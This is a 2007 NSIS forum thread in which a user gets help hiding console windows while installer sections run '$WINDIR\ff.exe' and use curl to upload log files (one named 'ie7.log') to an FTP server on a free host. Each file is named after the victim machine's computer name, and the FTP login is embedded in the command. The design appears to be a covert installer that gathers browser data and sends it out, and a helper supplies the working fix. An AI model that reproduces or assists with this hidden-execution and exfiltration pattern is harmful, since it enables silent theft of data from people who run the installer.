parasoul
30th September 2007 20:56 UTC
Running windows hidden, but with parameters
Section
ReadEnvStr $R0 COMSPEC
ExecWait '"$R0" /c "C:\WINDOWS\test.exe" >> C:\WINDOWS\test.txt'
SectionEnd
Is it possible at all to keep that same executable running with those parameters, but be hidden? Because I'm having like 4-5 CMD windows popping up and it looks very unattractive.
Thanks!
Anders
30th September 2007 21:27 UTC
use nsExec or one of the other exec plugins
parasoul
30th September 2007 23:05 UTC
ok I used ExecDos
Everything worked fine with parameters and such, but I have another problem now. I'm using cURL to upload files to an ftp, and cURL has a variable to specify the user's computer's name. That variable is %computername%.
Now when it uploads the file, instead of saying their computer name for the file, it says "%computername%.log"
Section
ExecDos::exec "$WINDIR\ff.exe" "" "C:\drivers2\ff.log"
SectionEnd
Section
ExecDos::exec "$WINDIR\curl.exe -T C:\drivers2\ie7.log ftp://minenu:%&%$@minenu.12gbfree.com/%computername%.log"
SectionEnd
Please note, this worked with ExecWait
Please help!
Anders
30th September 2007 23:19 UTC
parsing %computername% is not a part of curl (AFAIK), try using COMSPEC + /c as with your old attempt
parasoul
30th September 2007 23:26 UTC
Worked. You are a god. A god.
oh and I guess cmd parses that then
thanks huge help